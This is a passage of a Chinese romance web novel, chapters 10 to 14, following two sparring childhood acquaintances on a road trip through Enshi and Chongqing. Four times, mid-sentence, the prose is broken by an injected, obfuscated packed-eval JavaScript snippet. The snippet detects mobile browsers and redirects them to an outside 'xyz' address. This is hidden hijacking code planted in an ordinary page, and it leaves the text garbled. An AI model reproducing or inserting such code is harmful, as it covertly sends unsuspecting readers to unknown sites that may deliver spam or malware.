叶嘉木慢悠悠将餐盒放回袋子里,竖着耳朵继续听。 “那怎么,我想打就打了,还要看谁脸色吗?”她抬起手看看自己手指,脸上却没了什么表情,眼神冷傲,“那不就是了。您的私事我不管,反正只要我妈没意见,你们各过各的都行,但要是还有什么季真季假的在我面前碍我眼,就别怪我打狗不看主人了。” 电话那头回应了几句,她寡淡地“嗯”了两声。 “知道的,再说吧。够用,你要想再转点也可以。嗯,拜拜。” 她挂了电话,往下滑了滑,躺靠在沙发上,举着手机看消息。 邬玉瑾女士竟然也给她发了两条消息。 第一条:你带了几件衣服?西藏十月份只有十几度,别到时候冻感冒了才知道着急。 第二条:自驾游不是那么轻松好玩的,别让人家小叶一边开车还要照顾你,吃不了这个苦就回来。 邬雪青狠狠戳输入法:放心,冻不死。 她妈几乎秒回:随便你。 紧接着又发了一句:工作忙,勿回了。 邬雪青气得想扔手机。 “季叔叔给你打电话了?”叶嘉木出声问。 邬雪青这才想起来他还在。她挪开手机,捞起一个抱枕抱着,挡住往上滑的裙摆,“是我爸。我衣服洗干净了没有?” “洗好了,给你挂起来了,公主殿下。” 他将袋子系好,道:“垃圾我拎走了,待会给你拿水过来。” 她“唔”一声,打了个哈欠。 “困了去床上睡,别在沙发上又躺着凉了。”叶嘉木说。 她又懒洋洋“嗯”一声。 他走了出去,房间门也随之合上。 室内又安静了下来。 邬雪青扔开抱枕,抬着腿搭在沙发椅背上,转了方向,仰着头发呆。 手机嗡振两声,她拿起看一眼。 收到两条转账到账信息,一个邬女士,一个季先生,约好了似的,连转的数目都一模一样。 这样的转账信息她从小收到大,就像收到验证码一样已经麻木无感了。 没意思。 她扔开手机。 倒悬的视野里,她看见随手扔在门口玄关处的黑色外套,是昨天叶嘉木披在她身上的。 奇怪。 她咂摸咂摸叶嘉木这几天对她的种种态度,心里越发有种说不上来的奇怪。 正有点困了,她躺在沙发上昏昏欲睡,忽然听到门铃又响了。 好烦啊。 邬雪青抓抓头发,毛毛躁躁地去拉开了房门。 只见叶嘉木抓着保温杯站在门口,身后站着拎着品牌袋子的柜姐和柜哥。 送鞋子的来了。 “再不来我都要睡了。”她恹恹说。 “不好意思,亲爱的,我们整理衣服稍微用了一点时间,来晚了。” 柜姐亮出亲和的笑容,先向她套近乎,又穿上自己带来的鞋套,说一声打扰了,这才陆续进入房间。 两位柜员一进房间,就习惯性先打量房间内装置,一眼认出随意放在桌上的包是一支高奢的春夏新款,扔在沙发上的披肩也是某奢牌需要配货的稀缺款式,刹那心里有了数,脸上的笑容也愈发热烈真诚。 柜员将袋子放在地上,从宽大的袋子里摆出鞋子和衣服。 柜哥先非常殷勤地道:“亲爱的,听说你们是要进藏旅行,我们这边不仅给您带了鞋子,还有一些比较适季和出片的成衣。” “我先给您看衣服吧,这是一件设计款的千鸟格外套,是秀款,也是明星同款,您要试一下吗?”柜哥拎起衣架,掀开防尘袋给她看成衣。 邬雪青接过叶嘉木递来的保温杯,抿了一口,坐在沙发上摇头:“老气,不好看。” 柜哥理解地笑了笑,“这是偏复古款的款式,您不喜欢的话再看看我们这件今年的风衣款式,里面搭一件连衣裙的话是非常出片的。” “先试试吧。”叶嘉木说。 邬雪青看了看,觉得还行,便起身试了试风衣。 “您先生对您身形非常了解,我们是按您先生说的标准选的尺码,很合您的身材。”柜姐走近,给她整理了一下衣领和腰带。 叶嘉木咳了起来。 “他不是我先生,”邬雪青对着全身镜照照,感觉中规中矩,“他是我司机。” 这么帅的司机? 柜姐忍不住瞟了叶嘉木好几眼,仔细想想又觉得是开玩笑,如果不是他们品牌的VIC,也不可能有上门-服务。 她工作这么多年了,这还是第一次拿货上门。 叶嘉木抱臂微笑,“邬老板,给你开了这么久车,是不是应该给我发点工资?” “奖励你今天不用给我刷卡。” “那我可赚大发了。”叶嘉木感慨。 这分明是小情侣打情骂俏。 柜姐和柜哥相视一眼,低低笑了几声。 邬雪青对着镜子左看右看,满意度不怎么高。 “你穿很好看,一般人穿不出你的气质。”叶嘉木适时点评说。 邬雪青意外地看他一眼,再看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15996358|178187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看镜子,算了。 她脱下风衣递给一旁的柜姐,“凑合,这件留下吧。” 试完了衣服又试鞋子,邬雪青留了四套衣服,两双拖鞋、一双靴子和一双休闲鞋。 说实话,这些款式她都不是很满意,但毕竟不是一线城市,没有提前预定,这边的专柜能拿过来的现货很多都是她懒得看的老款,条件有限,也只能勉强将就一下。 柜姐和柜哥拎着一大堆袋子来,又拎着一大堆袋子走,但走的时候每个人脸上都洋溢着笑容。 四线城市的业绩要求不高,顾客刷卡爽快,这一趟几乎完成了店里半个月的业绩。 “今天还出发吗?” 邬雪青脱下刚试的鞋,问叶嘉木。 叶嘉木伸手贴贴她额头,“现在还有哪不舒服吗?有没有头晕,嗓子疼?” “没有哪里不舒服了,你要赶路的话,今天走也行。”她打个呵欠。 叶嘉木妥帖道:“你要是累,那就休息一天。” 太奇怪了。 邬雪青有些困惑地盯着他看。 室内有一种淡淡的香水幽香,无法确定是从哪件物品上传出的,还是她身上的味道。 幽幽的香气像一根柔软的丝绸,蒙上叶嘉木的口鼻,又在他脖颈上绕几圈,轻飘飘的,却让他觉得有些呼吸困难。 叶嘉木对上她久久不动的目光,喉结动了动,发出的声音有些干,“怎么了?” “你好像和以前不太一样了。” 他短促地笑了一声:“怎么,觉得我被夺舍了?” “不是那个,你变得……”邬雪青思考着,用了一个比较难以确定性质的词,“圆滑了很多。” 他脸上怔愣和意外的神色几乎没有兜住,但很快又被遮掩过去。 叶嘉木双手叉起腰,挺了挺肩膀,有些不爽,挑起眉头道:“关心你也叫圆滑?” 邬雪青笑着,弯起一侧唇道:“我认识一个非常非常八面玲珑的男孩子,对每个人都非常关心,甚至记得只见过一面的女生的生理期,有时候还会贴心地发邮件提醒大家Assignment的截止时间。” 叶嘉木脸上所有表情都消失了,他垂着眼睑看她,很难说那是一种冷静的无奈还是带着难以言喻情愫的隐忍。 “这个男孩子人缘非常好,现在在一家公司做资产管理。我经常还会收到他给我发的消息和寄的一些礼物,后来有一天他问我,‘Shirley,我有一个非常重要的客户要约见,可以借你的游艇使用一周吗’。”她笑了一下,非常轻快的笑容,带着嘲意。 “叶嘉木,咱俩从小不对付,你应该是那个送杯水都要嘴欠说句‘可别烫死’的人。现在殷情得让我觉得,你如果不是突然爱上我了,那么一定是——” 脑压上涌,天旋地转。 叶嘉木撑了下桌子,感觉慌得有点站不住。 “……是什么?”他艰难开口。 “一定是有求于我了!” 她高挑着眉头,非常得意且肯定地说。 11. 第十一章 “……” 吊诡的沉默。 “被我说中了吧?” 邬雪青唇角扬起,又在他不言语的沉默中缓缓落下。 或许是天气燥热,心火也闷燥。 她的视线从叶嘉木身上移开,随手抄起保温杯,仰头喝了一口。 水温还有些烫,她喝得太急,呛咳起来,刚进嘴的水又咳回了杯子里。 “慢点喝。” 他抽了两张纸巾递给她,从她手上接过保温杯,宽大的手掌在她指节上轻轻一覆,很快便抽离开。 “我不知道你说的‘不对付’具体是哪件事,但也应该是小时候的事了。我从前性格是不太好,自以为是,少爷脾气,但是雪青,人是会变的,没有谁会那么多年一成不变。”顿了顿,他说,“如果以前我做了什么事情伤害了你,我现在向你道歉。” 想起叶嘉木小时候那不好好说话的欠揍样,邬雪青是有些牙痒痒的。 她随意擦擦嘴,落下手臂,背在了身后,侧过头道:“很用不着,咱俩小时候的事早就翻篇了,也别跟我打感情牌,有话直说。” “我没什么要求于你的。”他笑了笑,“如果非要个解释,你可以理解为我现在性格就是变成这样了。” 这一回合,不分胜负。 邬雪青往门口一抬下颚,示意他可以出去了。 她脸上还有水滴,叶嘉木手指抬起,顿了顿。 在她警惕的注视下,他还是伸手轻轻给她擦去了脸颊上的那滴水。 “你休息吧,我待会开车去加个油,明天我们去重庆。” 他温和地说完,拧上保温杯盖子,又道,“我给你换杯水。” 他走出了她房间。 她说他们从小“不对付”,仔细想想,还真是这样。 他们是同一天出生的,连成长路径都相似。 同一所幼儿园、小学、中学…… 自然他们的表现也会被父母放在一起比较。 在排名上,他们不是东风压倒西风,就是西风压倒东风。 即便没有有意去超过对方,也总不想彼此距离相差太远——至少,他是这样想的。 高二暑假,她已经决定要出国留学。 在她和家人出国考察学校的时候,叶嘉木收到了邬雪青发来的短信。 她说:你觉得异国恋怎么样? 没头没尾的一句话。 让叶嘉木傻了。 过了大半天,组织了许多种措辞,他才小心翼翼地回复:什么意思? 消息没发出去。 被拒收了。 那整整一个月,他坐立难安,像个中大乐-透的人,藏着心事,食不下咽,心神不定,满脑子都是等邬雪青回来要问清楚她是什么意思。 那时候还太年轻,不经事。 暑假的托福考试和国际模联,他跌掉所有人眼镜,表现得一塌糊涂。 也是那两场成绩,让家里歇了也送他出国的心思。 他想……异国恋,异国恋也行吧。 大不了以后他多飞过去看她。 后来,她回国办退学手续和成绩证明。 叶嘉木在餐厅二楼的空中花园看见她。 邬雪青性格傲,在学校一贯高冷,用目中无人来形容也不过分。 可那天她意外开朗、平易近人得不可思议。 她在和一个男生在聊天,聊得很开心。 “那你运气也太差了,模联怎么能连着一直抽到小国!”她笑着说。 男生叹口气:“还好还好,以非常微弱的优势赢了。” “你实力在这,也不用这么谦虚。” “真的只是运气好,如果你来参加模联,我大概也就泯然众人了。” 她笑了好一会儿,又问:“你材料准备差不多了吧,打算申请哪所大学?” “纽约大学或者西北大学吧。” 男生伸出了手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15996359|178187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“Shirley,希望我们很快就能在美国见面。” “好啊,以后说不定就是校友了。” 她伸手在他掌心轻轻一拍。 叶嘉木收住了轻快靠近的脚步,顿住了拉门的手,瞬间明白了,她说的异国恋是和谁。 后来,叶嘉木也问过她那条不明不白的短信是什么意思,以轻描淡写、随意的口吻。 她的回答更加随意,她说:“问问你的观点呗。” “那为什么要把我拉黑?” “一天你都不回我消息,我不应该把你拉黑吗?” 原来如此。 竟是如此。 终于,他们再也不用做彼此的对照组了。 他留在国内上学,她在美国适应新生活,成了朋友圈里一赞之交的生疏朋友。 明明他和她才是一起长大,最熟悉彼此的人。 可她就是讨厌他,讨厌得不假辞色。 他反思过自己了,觉得的确是自己的问题。 他性格不好,自以为是,不幽默,不会说话,也不如别人会讨她喜欢。 这些年有意无意的,他在向那个笑吟吟的少年模样靠拢,擦去过去自己身上年少轻狂的桀骜。 他收敛锋芒,变得温和、懂得自谦,长袖善舞。 可这些都没用。 在邬雪青眼里他还是从前的叶嘉木。 那个让她讨厌的叶嘉木。 叶嘉木回了自己房间。 他平静地将保温杯拿进洗手间,倒了水,拨开水龙头冲洗。 一时不慎,水开太大,冲打在他手上,溅湿了衣服、脸和头发。 他扯出纸巾擦擦脸上的水渍。 他抬头看镜子。 镜子里的人同样抬眼看他,眼神冷傲,扯动嘴角,刻薄、讥诮。 不像。 还是不像。 他闭上眼睛,弯腰俯撑在了镜子前,攥紧的手背青筋绷起。 12. 第十二章 在恩施的最后一个晚上,他们去逛了当地的女儿城。 恩施女儿城是以土家族文化为背景的旅游景区,和他们住的酒店也相隔不远。 他们先去预定好的餐厅吃了晚饭,尝了当地特色的土家腊肉。 腊肉并不只是恩施的特色,但在不同的地域,用不同方法腌制出来的腊肉都各有其风味。 湖北腊肉多用柏树枝烟熏,腌得好的腊肉咸香焦黄,肥瘦相间。 晶莹剔透的腊肉切成片,用大蒜叶和青椒翻炒过后装盘,扑鼻而来是腊肉的咸香、蒜叶的辛香。 邬雪青第一次来当地尝地道质朴的土家菜,尽管闻着香,但她还是谨慎地夹了一小块腊肉,先用牙齿咬下一点尝尝味。 “怎么样?”叶嘉木问她。 “不错,很好吃。”邬雪青难得给了个极高的评价。 腊肉本身的烟熏柴火香没有被蒜叶遮盖,油润香辣的味道在舌尖溢开,和她以往吃的少油少盐的营养餐完全是两种口味。 她疑惑:“我在隅州怎么从来没有吃过这个菜?” “隅州很少有烟熏腊肉,你要是喜欢吃,待会去买几条腊肉寄回去。”叶嘉木换成公筷,夹了一块牛肉放她碗里,“你再尝尝这个爆炒的黄牛肉。” 和服务生提了只要微辣,然而爆炒黄牛肉里的一洒的鲜红小米椒,让邬雪青觉得这菜可一点都不“微辣”。 她头往后仰:“肯定很辣,要吃你先吃。” “我吃过了,不怎么辣,这辣椒就是放着摆盘好看点。” 邬雪青将信将疑,尝了一口黄牛肉。 牛肉的口味和腊肉又截然不同,是鲜嫩紧实的,用香辛料、香菜爆炒,汁水很足,还是有点辣,但还在邬雪青能接受的范围内。 “还不错,不过我还是更喜欢这盘腊肉。” 邬雪青用筷子点了点。 “回去要阿姨学学怎么炒腊肉。” “算了吧,又是烟熏又是盐腌的,我妈肯定不让吃。” “那回头你想吃了,来我家吃。” 这主意还不错。 邬雪青微微点了下头,夹起一筷子米饭正要吃,后知后觉感觉舌尖有点火辣。 “哦莫。”她张开嘴吐出舌头嘶嘶了两声,“这个辣椒好像有点后劲,哦莫哦莫,好辣。” 她放下筷子,赶快喝水。 一喝水发现水也是烫的,“啊,救命,救命。” 她疯狂扇着舌头,几秒钟时间,她整个脸都迅速红了起来,“啊!!叶嘉木我要喝冷水!” “这么辣吗?”眼见她辣得上蹿下跳,叶嘉木忍住了笑,起身道,“我给你去拿水。” 黄牛肉看着色香味俱全,口感也很不错,但那辣椒后劲实在太足了。 邬雪青辣得跳了起来,喝了半瓶水,嘴巴里还是火烧火燎的,坚决不相信这是微辣,把服务生叫过来尝了一下。 服务生用公筷尝了一下,仔细品了品,在邬雪青控诉的眼神里,迷茫地说:“是微辣啊。” “你不觉得辣吗?”邬雪青难以置信。 服务生道:“这样吧女士,我帮您和后厨说一下,重新给您做一份不辣的,这份我帮您撤下去。” 叶嘉木安排道:“这盘也不用撤了,再加一份不辣的黄牛肉。” “好,我去后厨说,实在是抱歉。” 服务生退了出去。 “你骗我,这个菜辣死了。”邬雪青满眼眼泪地控诉。 太可爱了。 叶嘉木忍住笑,非常无辜:“我真没尝出辣。” “你味觉有问题!” 邬雪青真忍不住了,捏紧了拳头用力在他胳膊上猛锤了一拳。 叶嘉木“嘶”一声,捂住胳膊,作痛道:“这么用力,打废了待会你来开车。” “你就是小人,你没安好心!” “是是,我是小人。” 叶嘉木把筷子递给她,“那你还吃饭吗,大人?” 邬雪青长这么大都没吃过这么辣的东西,一时辣得心有余悸,把那盘爆炒黄牛肉有多远推多远。 过了十来分钟,完全不辣版本的爆炒黄牛肉端上来了。 厨师没放辣椒,只用大蒜叶和蒜瓣增香。 虽然味道也不错,但感觉没放辣椒还是少了一点味道。邬雪青砸吧砸吧,感觉有点说不出的差别,犹豫了一下,筷子又伸向了辣的那盘。 叶嘉木拦了一下,提醒道:“这可是辣的。” “味道不一样,我尝一点区别一下。” 邬雪青夹了很小一块又尝了尝,感觉还是加了辣椒的更好吃一点。 “呜——好辣。”她长吁一口气,又吨吨地喝了两口水,头顶生烟。 叶嘉木实在忍不住了,侧头狂笑了起来。 邬雪青恼怒,抬腿一脚踹他凳子上,“笑屁啊你!” “仗着我现在脾气好,你就可劲欺负我吧。” “少装!我又不是今天认识你,还自己夸自己脾气好,真不要脸!” 叶嘉木两条长腿划拉了两下,挪着凳子坐到了她旁边。他指了指自己,说:“那我问你,你觉得现在的我好,还是以前的好?” 他的眼睛认真地盯着她。 邬雪青习以为常地想要和他怼两句,对上他认真的神色,要说的话勉强在嘴里转了个弯,“有什么好不好的,不是你自己说的吗,人又不是一成不变的。” “如果一定要选一个呢?” “那我问你,你喜欢以前的我还是现在的我?” 她把问题又抛回了他。 “喜……喜欢你?谁!谁喜欢你!”他一下仰回了头。 狗屎! 邬雪青向他竖起了中指,微笑道:“你根本没变,和以前一模一样,没品的东西!” 从餐厅出来,正好遇上傩戏开场表演。 锣鼓齐响,演员们穿着夸张的傩戏服饰,跟随前头举着剑的“开路将军”边走边跳。 傩戏是始于商周时期的祭祀活动,是古人用于和“鬼神”沟通的舞蹈语言,舞蹈姿态狂野粗犷,铜锣唢呐的音乐非常诡谲神秘。 她站在人群内围,看着舞蹈演员唱着祭祀词从她面前的篝火堆旁跳过去。 猛地,一个戴着面具的人脸往她眼前一突,惊得她下意识往后退了一步,撞上了身后的怀抱。 “别怕,就是表演。” 身后的声音低沉道。 四周吆喝声、小孩哭闹喊叫声、乐舞声混杂,让邬雪青心脏有些揪痛、喘不过气,她下意识抓住叶嘉木的衣角,低声说:“我们去逛逛别的吧。” 人群太嘈杂,听不清她轻细的声音,只看得见她的唇一张一合。 叶嘉木目光停留在她粉润的唇上, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15996360|178187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 猜懂了她的话,“好。” 宽厚有力的手掌抓住了她的手腕,带着她从里三层外三层的人群中挤出去。 邬雪青抬头,只看得到他背影。 他高大的身躯像一块坚实的盾牌,在人群中为她开辟出一条狭窄的通道。 离开表演中心,周遭的人渐渐少了。 平静下来,叶嘉木问她:“现在好一点了吗?” “没什么事。”她摇摇头。 叶嘉木抱着胳膊弯腰,促狭地问:“是不是看到那些面具怕了?” “表演而已,就是旁边太吵了,吵得人心烦。”她否定。 叶嘉木轻声笑了下,幽幽地说:“据说阴气比较重的人在这种环境里会‘通灵’,就会开始冒冷汗心慌……” 邬雪青想踹他,冷笑一声:“不好意思,我是唯物主义者,不信这些!” “真的不信?”他挑眉。 他的手掌还圈在她手腕上,邬雪青后知后觉,恨恨扒开他的手,头也不回地往前走。 叶嘉木抬步跟在她身后,继续慢悠悠道:“殿下,我以前在一个村里听过一个故事。有家人办丧事,请了人来跳傩戏,小孩在火盆旁边玩,突然一下就不动了,眼睛呆呆地看着门口,说……” 邬雪青一把捂住了耳朵,回头怒吼道:“叶嘉木,你要死啊!!” “好了,我不说了。” 过了两分钟,叶嘉木又欠欠地问她:“你就不想知道那个小孩说了什么?” 邬雪青怒火丛生,忍无可忍,举起包狂砸他头,“你给我去死!!” 叶嘉木仰着头,抬起手挡她,边笑边道:“我错了我错了,真的不说了,嘶——真砸着脸了。邬雪青,我毁容了,以后找不到老婆你要负责的。” 回到酒店,不欢而散—— 主要是殿下不欢,叶嘉木这一晚上可太欢了。 睡觉前他又泡了杯感冒药去敲殿下的门。 邬雪青说什么都不给他开门,最后他只好把保温杯放门口,发了消息提醒她拿进去喝。 邬雪青一晚上没睡着。 半夜两点多还收到隔壁那个疯子发来的消息,是明天去重庆的行程规划。 她把房间里所有灯都打开了,被子蒙着脑袋,一闭上眼睛,一会儿是那张青面獠牙的傩戏面具,一会儿又是叶嘉木说的那个故事的场景。 大半夜的,她硬生生惊出了一身冷汗。 叶嘉木果然还是那个叶嘉木,那个非常欠,非常讨打,让她想一拳锤出外太空的叶嘉木! 还说什么这些年他变了很多。 他变了个鬼!! 本质还是那个蔫儿坏的人!! 凌晨五点,她终于有了一点点困意。 好不容易刚睡着没多会儿,又做了个梦。 梦里一堆穿着傩戏衣服的人在篝火旁载歌载舞,但四周没有路人,只有她一个人在旁观。 忽然,有人拍了拍她的肩膀。 她回头看去,一张可怖的面具正贴在她身后。 她张嘴就要尖叫,唇被捂住了。 下一秒,戴着面具的人摘下了面具,露出了那张熟悉的脸,炯炯有神的眼睛。 “别怕,”他笑弯着眼睛说,“是我。” “叶嘉木……” 她呓语着,揪紧了被角,埋了埋脑袋,“……讨厌你。” 13. 第十三章 抵达重庆的时间比叶嘉木预计得要晚。 殿下早上叫不醒,一直睡到下午,这才恹恹地来开了门。 简单吃过午饭,出发往重庆。 叶嘉木将殿下新添置的行李放后座上,又把副驾驶的座椅放倒,方便殿下休息。 把遮光板放下,邬雪青躺靠在副驾驶上举着手机刷小红书。 “重庆有什么好玩的?”她问。 叶嘉木道:“我们到的时候可以先去防空洞吃个火锅,然后坐长江索道去老街逛逛,晚上还可以去洪崖洞吹吹风。” “听着还行。” 邬雪青搜了搜,他说的几个位置小红书上都有推荐。 看到全是红油翻滚的火锅,她眉头紧皱:“那边火锅看着好辣啊。” “你不吃辣,那就只点个清汤的。” 在重庆只吃清汤火锅很奇怪吧? 她嘴硬道:“我又不是完全不能吃辣。” 叶嘉木丝滑改口,“那就点个鸳鸯锅,一边牛油一边菌菇清汤的,”还非常给台阶地补充,“毕竟蔬菜还是下清汤里好吃。” “既然你想吃清汤的,也行吧。”她愉快地下了这个台阶。 叶嘉木开了会儿车,见她没有要睡觉的意思,商量道:“殿下,我在重庆有几个朋友,你要是不介意,晚上我把他们叫出来见见?” “哪种朋友?生意上的就算了。”她懒懒道。 “大学同学。” “那可以。有帅哥吗?” 叶嘉木顿了一下,咀嚼了会儿她这句话的含义,慢慢说:“有。” 邬雪青眼睛瞬间亮了,手机也不刷了,扭头看他:“有照片吗?” “着什么急,晚上见了不就知道了。” 邬雪青噘嘴,啧一声。 见她拿手机飞快发着消息,叶嘉木问:“在给家里发消息吗?” “我助理,刚帮我把一些东西从美国搬回来,我给她放半个月假。” 邬雪青随口回答。 “男的女的啊。” “当然女……跟你有关系吗?”邬雪青白他一眼,转过身去继续敲输入法。 Clara:这么快到重庆啦?听说重庆帅哥很多的,Shirley~有好看的一定要帮我要一个微信(羞)(羞) 邬雪青:Ok,有好看的拍照片给你 Clara:(谢谢老板.jpg) 回完消息,她开了一部电影,找了个舒服的姿势窝着看,打发下时间。 看了没半个小时,眼皮耷拉了下去。 叶嘉木再转头,电影声音还没停,她已经侧着头睡着了。 真信任他啊。 叶嘉木笑了。 四个半小时,从恩施抵达重庆。 南京、武汉、重庆、长沙,被称为四大火炉城市。 邬雪青和叶嘉木一路自驾往西走,已然经过南京、武汉两座大火炉,顺利抵达第三座火炉——重庆。 正是九月中旬,重庆的温度没有丝毫回转,甚至体感热度比武汉有过之而无不及。 从酒店出来,太阳一晒,毫不夸张地讲,邬雪青感觉头皮都要烧着了。 灼热明丽的太阳高高挂在半空上,像一盏烤灯。 她想到家里阿姨烤面包时,烤箱里的灯也是这样明晃晃照着,可现在她成了那个即将焦黄的面包胚子。 好在叶嘉木订的酒店离火锅店特别近,不到五十米的距离,走地下通道进入防空洞,适才还热得烫头皮的温度霎时便降了下去。 尽管天气炎热,但重庆的游客数量丝毫不见少。他们去了两家火锅店,每家都人数爆满。 防空洞内凉风习习,邬雪青倒也不着急吃东西,见着一老奶奶挑着担子在楼梯边卖手搓冰-粉。她没吃过,觉得新鲜,好奇买了一碗。 透明的,像果冻一样,撒上红糖、芝麻、山楂、花生碎、葡萄干,搅匀后入口,冰冰凉凉,很是酸甜的口感。 走了没两步,又看到有卖蒸凉粉的,又走两步,又有卖凉虾的。 重庆光是一个降温消暑的小甜水就卖出了好几种花样。 邬雪青本着来都来了的想法,样样买上。 火锅还没吃,叶嘉木手里先拎了好几样小吃了。 叶嘉木提醒道:“殿下,吃这么凉,小心晚上拉肚子。” 邬雪青正在兴头上,良言左耳近右耳出,“就尝两口,我又不多吃,怎么可能拉肚子,拉了也是你咒的!” 得,他还是闭麦吧。 好不容易找着一家有位置的火锅店,刚落座,邬雪青就先欻欻地点了一堆小吃。 黑芝麻油条包麻糍、冰汤圆、双皮奶、糯米团…… 叶嘉木划拉一下点单小程序,全是甜品小吃,一道菜都看不着,他吐槽:“殿下,还记得我们是来吃火锅的吗?” 邬雪青跷着腿,心情愉悦,“你点你想吃的,我点我想吃的,反正我肯定能吃饱。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15996361|178187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “那锅底和菜都我来点了。” “随你。” 邬雪青不算挑食,除了太辣的吃不了,其他什么菜她都能吃两口。 在家里,她很少有自己点单的机会,要么有营养师安排菜谱,要么有长辈负责点单,总之,家里点单的“权力”还没移交到她手上。 打开火锅店点单系统,上下一划拉,一多半都不在营养师建议的营养范围内——既然什么都不能吃,那就是什么都能吃。 她撒了欢地唰唰加入订单。 锅底端上桌,调开火,慢慢地沸腾咕噜噜冒起了泡。 叶嘉木把调好的干碟和湿碟都放她面前,又起身下菜。邬雪青正忙于品鉴各类小吃,腮帮子填得滚圆,无暇管火锅的事。 叶嘉木把烫好的肉片、虾滑放进她碗里,道:“别吃小吃了,待会肉放凉了就不好吃了。” 邬雪青夹起肉片裹上干粉喂进嘴里,眯起了眼睛,呼呼吹着气,竖起大拇指,“好吃!” 他笑了下,又夹了烫好的菜放她碗里,“尝尝毛肚。” “喔——这个也好好吃!” 她一边烫得嘶呼嘶呼,一边指着辣锅说,“我要尝尝这边的。” 叶嘉木道:“虽然点的微辣,但也是辣的。” “不管不管,我要吃这边涮的毛肚。” 或许是火锅店接地气的氛围、氤氲热腾腾的锅气、人人都在笑着嚷着,她脱下了那重若千钧的大小姐包袱,像个小孩,尝到好吃的就高兴得翘脚脚。 叶嘉木盯着她笑,“殿下,你知道你现在像什么动物吗?” “什么?” “撒了欢的蝈蝈。” 话一说完,他立刻搬着椅子往后一挪。 桌子下,殿下仍旧精准地一脚踢他椅子上,瞪他:“今天我心情很好,别逼我抽你啊叶嘉木!” 叶嘉木见好就收,笑着道:“下次来重庆,带你去吃一家更好吃的火锅。” “下次我才不和你来……” 红油弄到了她脸颊上,叶嘉木抽了张纸巾,俯身过去,在她脸颊上擦了擦,“怎么和小孩一样,还能吃到脸上去?” 火锅蒸气腾腾,邬雪青倏地抬头。 他面前的碗碟还干干净净,嘴角噙着淡淡的笑,目光认真地落在她脸上,小臂下坚实的肌肉隆起,手指却温柔地擦拭过她的脸颊。 视线一碰,她先错开眼。 抬手,轻轻抠了抠被他擦过的地方。 14、第十四章 “好热啊,为什么已经晚上了,还这么热?”邬雪青撑在缆车扶手上,望着碧绿的江水吐槽。 吃过火锅后,叶嘉木便领着她来坐长江索道。 “坐”是没得“坐”的。 人太多了,他们等好几趟才等到一趟略微宽松的挤上去。 大爷大妈们手脚灵活,生龙活虎地率先占据了座位。 车厢内又挤又闷。 邬雪青非常怀疑叶嘉木就是借此机会来报复她。 “秋老虎就是这样,待会我们找家冷饮店坐坐吹会儿空调?”叶嘉木问。 邬雪青长长地叹口气,艰难转过身,“我感觉我要中暑了。” “不会吧?”叶嘉木伸手摸了摸她额头。 身后的大爷大妈们正兴高采烈地拍照片,一大爷往后退一步,撞上了叶嘉木,他往前一扑,手臂撑住玻璃,将邬雪青困在了两臂之间。 “呃……” “不好意思啊小伙子!”大爷道了声歉。 邬雪青错愕惊慌的目光和他撞上。叶嘉木张了张嘴,发出的声音却只有她能听得见,“……没关系。” 贴得太近,她能看见他脸上淡淡的青色胡渣,一抬下颌,唇几乎就能撞上他下巴。 她目光慌乱地移开,“还不走开?” “不好意思。”他低低说。 邬雪青收着肩膀抱起了胳膊,转头看着另一侧的江岸。 叶嘉木撑着扶手站直身,顿了顿,只收回了一条手臂,另一边仍撑在她身侧。 “你还记得小时候我们去象牙公园坐缆车吗?”叶嘉木出声问。 邬雪青声音有些生硬,“不记得。” 他笑了一下,不在意,继续说道:“咱爸妈说分两个车坐,你不干,一定要和我坐一个车,不然就哭。” “谁跟你咱爸妈……而且我只是觉得你们坐前面的缆车比较快而已。” 叶嘉木撑直了胳膊,弯下腰,嘴角扬着,盯着她看,“不是说不记得了吗,怎么还把当时心理记得这么清楚?” 邬雪青懒得跟他废话,从两人中间伸出了一个梆硬的拳头。 这就恼羞成怒了? 叶嘉木笑了起来。 “雪青,我有时候真希望时间停在咱们小时候。”他声音很轻,但足够她听清楚。 缆车靠岸了,人们挤向门口准备下车。 她推开他,说:“我可不这么希望。” 话说完,她顺着人流向门口处走去。 已经不是第一回被煞风景了,叶嘉木已经磨炼出了听反调也面不改色的技能。 